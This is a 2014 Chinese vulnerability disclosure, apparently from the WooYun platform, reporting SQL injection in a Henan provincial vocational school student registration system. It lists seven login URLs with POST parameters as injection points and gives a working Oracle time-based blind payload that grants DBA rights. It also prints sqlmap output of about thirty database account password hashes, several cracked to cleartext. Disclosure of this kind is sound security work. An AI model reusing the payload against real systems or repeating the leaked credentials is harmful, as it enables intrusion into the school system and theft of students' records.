漏洞详情

披露状态:

2014-03-03: 细节已通知厂商并且等待厂商处理中
2014-03-08: 厂商已经确认,细节仅向厂商公开
2014-03-18: 细节向核心白帽子及相关领域专家公开
2014-03-28: 细节向普通白帽子公开
2014-04-07: 细节向实习白帽子公开
2014-04-17: 细节向公众公开

简要描述:

SQL注入有多处

详细说明:

http://xj.vae.ha.cn/1/index.html 河南省职业学校学生学籍管理系统

hn.jpg



上面的登陆点即为POST注入点:

http://xj.vae.ha.cn/1/jyb/login.jsp password=88952634&Submit=%CA%A1%EF%BF%BD%EF%BF%BD%D2%B5%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD&doCreate=true&username=88952634

http://xj.vae.ha.cn/1/sjleader/login.jsp password=88952634&Submit=%EF%BF%BD%EF%BF%BD%20%20%C2%BC&doCreate=true&username=88952634

http://xj.vae.ha.cn/1/bl/login.jsp password=88952634&Submit=%EF%BF%BD%EF%BF%BD%C2%BC2008%EF%BF%BD%EF%BF%BD%D1%A7%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%C2%BC&doCreate=true&username=88952634

http://xj.vae.ha.cn/1/sj/login.jsp password=88952634&Submit=%EF%BF%BD%EF%BF%BD%C2%BC%CA%A1%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD&doCreate=true&username=88952634

http://xj.vae.ha.cn/1/sx/login.jsp password=88952634&Submit=%EF%BF%BD%EF%BF%BD%C2%BC%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%D1%A7%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD&doCreate=true&username=88952634

http://xj.vae.ha.cn/1/xx/login.jsp password=88952634&Submit=%EF%BF%BD%EF%BF%BD%C2%BC%D0%A3%EF%BF%BD%EF%BF%BD%D1%A7%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD&doCreate=true&username=88952634

http://xj.vae.ha.cn/1/xlrz/login.jsp password=88952634&Submit=%EF%BF%BD%EF%BF%BD%C2%BC%D1%A7%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%D6%A4%CF%B5%CD%B3&doCreate=true&username=88952634

漏洞证明:

以http://xj.vae.ha.cn/1/jyb/login.jsp password=88952634&Submit=%CA%A1%EF%BF%BD%EF%BF%BD%D2%B5%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD&doCreate=true&username=88952634为例

DBA权限:

Place: POST
Parameter: username
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: password=88952634&Submit=%CA%A1%EF%BF%BD%EF%BF%BD%D2%B5%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD&doCreate=true&username=88952634' AND 9691=DBMS_PIPE.RECEIVE_MESSAGE(CHR(87)||CHR(113)||CHR(90)||CHR(98),5) AND 'asYZ'='asYZ
---
web application technology: Servlet 3.0, JSP, JSP 2.2
back-end DBMS: Oracle
current user is DBA: True



爆破Oracle数据库账户,发现有几个用户的密码为用户名:

database management system users password hashes:
[*] APEX_030200 [1]:
password hash: A1387FC1F0AE6960
[*] APEX_PUBLIC_USER [1]:
password hash: 632CB1553A5921F9
[*] APPQOSSYS [1]:
password hash: 519D632B7EE7F63A
[*] CTXSYS [1]:
password hash: 71E687F036AD56E5
[*] DBSNMP [1]:
password hash: E5124780DDA48D26
[*] DIP [1]:
password hash: CE4A36B8E06CA59C
[*] EXFSYS [1]:
password hash: 33C758A8E388DEE5
[*] FLOWS_FILES [1]:
password hash: 28A140FCC1F33914
[*] HR [1]:
password hash: EC77DBE4E4BA0ABC
[*] MDDATA [1]:
password hash: DF02A496267DEE66
[*] MDSYS [1]:
password hash: 72979A94BAD2AF80
[*] MGMT_VIEW [1]:
password hash: E84D48CE0C471046
[*] OLAPSYS [1]:
password hash: 4AC23CC3B15E2208
[*] ORACLE_OCM [1]:
password hash: 5A2E026A9157958C
[*] ORDDATA [1]:
password hash: A93EC937FCD1DC2A
[*] ORDPLUGINS [1]:
password hash: 88A2B2C183431F00
[*] ORDSYS [1]:
password hash: 7EFA02EC7EA6B86F
clear-text password: ORDSYS
[*] OUTLN [1]:
password hash: 4A3BA55E08595C81
[*] OWBSYS [1]:
password hash: 610A3C38F301776F
clear-text password: OWBSYS
[*] OWBSYS_AUDIT [1]:
password hash: FD8C3D14F6B60015
[*] SCOTT [1]:
password hash: F894844C34402B67
[*] SI_INFORMTN_SCHEMA [1]:
password hash: 84B8CBCA4D477FA3
[*] SPATIAL_CSW_ADMIN_USR [1]:
password hash: 1B290858DD14107E
clear-text password: SPATIAL_CSW_ADMIN_USR
[*] SPATIAL_WFS_ADMIN_USR [1]:
password hash: 7117215D6BEE6E82
[*] SYS [1]:
password hash: D1F3A12BB91202B9
[*] SYSMAN [1]:
password hash: 086A9CFC3EAD80CD
[*] SYSTEM [1]:
password hash: E487AFDCB18BAD2C
[*] WMSYS [1]:
password hash: 7C9BA362F8314299
[*] XDB [1]:
password hash: 88D8364765FCE6AF
[*] XS$NULL [1]:
password hash: DC4FCC8CB69A6733



测试到此,连接后应该是学籍信息

修复方案:

您懂

版权声明:转载请注明来源 小驴牙牙@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-03-08 11:31

厂商回复:

已经转由CNCERT下发给河南分中心处置。

最新状态:

暂无


漏洞评价: